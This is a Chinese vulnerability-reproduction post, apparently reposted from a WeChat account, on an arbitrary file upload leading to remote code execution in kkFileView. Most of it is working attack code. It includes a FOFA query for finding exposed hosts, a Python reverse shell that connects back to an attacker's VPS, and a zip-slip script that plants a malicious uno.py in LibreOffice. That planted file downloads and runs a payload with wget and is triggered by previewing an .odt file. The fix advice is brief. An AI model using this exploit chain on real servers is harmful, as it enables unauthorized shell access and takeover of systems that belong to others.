免责声明
漏洞描述
资产确定
fofa: app="kkFileView"
漏洞复现
1.先用VPS启动一个Web服务;
2.利用如下Python代码为例,IP和Port根据测试自行修改,放至Python启动的Web根目录下;
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",Port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
3.然后再运行如下Python脚本生成hack.zip,注意修改vps地址;
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test123'
binary2 = b'import osrnos.system('wget http://IP/demo.py && python3 demo.py')'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
4.将生成的zip包 上传并预览;
5.本地启动监听;
6.然后再随便新建一个后缀为.odt文件进行上传预览;
7.成功反弹Shell.
修复建议
1.升级至安全版本
2.关闭演示入口,禁用首页的文件上传功能。
如有侵权,请联系删除
原文始发于微信公众号(我爱林):漏洞复现 || kFileView 任意文件上传 远程代码执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论